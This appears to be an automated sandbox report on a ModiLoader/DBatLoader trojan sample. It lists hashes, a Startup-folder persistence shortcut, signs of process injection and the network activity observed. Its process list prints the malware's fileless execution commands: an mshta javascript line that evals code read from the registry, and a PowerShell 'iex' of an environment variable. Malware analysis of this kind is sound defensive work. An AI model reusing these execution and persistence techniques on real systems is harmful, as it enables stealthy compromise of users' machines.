SHA512	04bd86fd25bdf89ebb1371d170782824426d80af99b1a7100e1ba181cc341a6a38ae5027dbb2710582e0aedb0e66d4aab0534db8bbf45adde0fff3b436ee85df

C:\Users\Admin\AppData\Local\416844\1a6bc1.983f33d

MD5	aab40d46a7310cfadff882530acb126a
SHA1	7d6a6f80fc4754429d514d033459a7f4d7e71952
SHA256	2b99dfcf56844a5fd6892a1cca68e7cdf752c2444597d973cb43cd9adb64063d
SHA512	8cd794eb3ed89eea57610fbc8803b4c504faf716661760f67e93801aed1c90ff64faeddb69a845d211d6ea0204b00be730756004e5c85fcfcd320a6e81a6b9a4

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be0980.lnk

MD5	06e941575744568f7aec743dbf7a820a
SHA1	dcd052402d06c205c2a1165ef9d8d25fc568dc32
SHA256	d0018cd9efebd743d94c0c6ce0ecaa35bc81b61d8a722194efdfd93e5c56bf7b
SHA512	a8a30ec67923e5cddf0d5d3b8abfd60a63f78920d33a9bfb4b3df9aae179ee055dda77800b6f3da6edb8f99c7c31f3b1ce915c723a849e230db8765f9b0b4ba1

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-16 15:21

Reported

2024-06-16 15:24

Platform

win10v2004-20240611-en

Max time kernel

149s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description	Indicator	Process	Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	N/A	C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	C:\Windows\system32\mshta.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 4400 set thread context of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4400 wrote to memory of 1920	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 4728 wrote to memory of 1388	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4728 wrote to memory of 1388	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4728 wrote to memory of 1388	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:bFvAqBzK5="OPE6arZ";E24S=new%20ActiveXObject("WScript.Shell");kv7Ew4mFR="IzfkiQ";m4Ny4b=E24S.RegRead("HKLM\\software\\Wow6432Node\\y8zuWK\\hsGVunyjUT");MyTKpa63="hgAms";eval(m4Ny4b);oQPiK11Cr="uLmfI";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:afdkm

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	g.bing.com	udp
US	13.107.21.237:443	g.bing.com	tcp
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	133.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	203.107.17.2.in-addr.arpa	udp
US	8.8.8.8:53	97.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	26.165.165.52.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	31.251.17.2.in-addr.arpa	udp
US	8.8.8.8:53	23.236.111.52.in-addr.arpa	udp
US	8.8.8.8:53	0.205.248.87.in-addr.arpa	udp
US	8.8.8.8:53		udp

Files

memory/1920-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1920-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1920-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1920-9-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-13-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-12-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-11-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-10-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-14-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1920-15-0x00000000009D0000-0x0000000000AA4000-memory.dmp

memory/1388-17-0x0000000004980000-0x00000000049B6000-memory.dmp

memory/1388-18-0x0000000005170000-0x0000000005798000-memory.dmp

memory/1388-19-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

memory/1388-20-0x00000000057A0000-0x0000000005806000-memory.dmp

memory/1388-21-0x0000000005810000-0x0000000005876000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mxefihq.ek4.psm1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1388-31-0x0000000005880000-0x0000000005BD4000-memory.dmp

memory/1388-32-0x0000000005D40000-0x0000000005D5E000-memory.dmp

memory/1388-33-0x0000000005D80000-0x0000000005DCC000-memory.dmp

memory/1388-34-0x0000000007460000-0x0000000007ADA000-memory.dmp

memory/1388-35-0x0000000006E10000-0x0000000006E2A000-memory.dmp

Sample ID	240616-srlczsybmf
Target	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118
SHA256	0d4df276ac210da10aa6ad75e8b130cbda829e76ce314cc48764d59f5d9d766f
Tags	modiloader evasion persistence trojan

Malware Analysis Report

2024-08-06 14:15

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files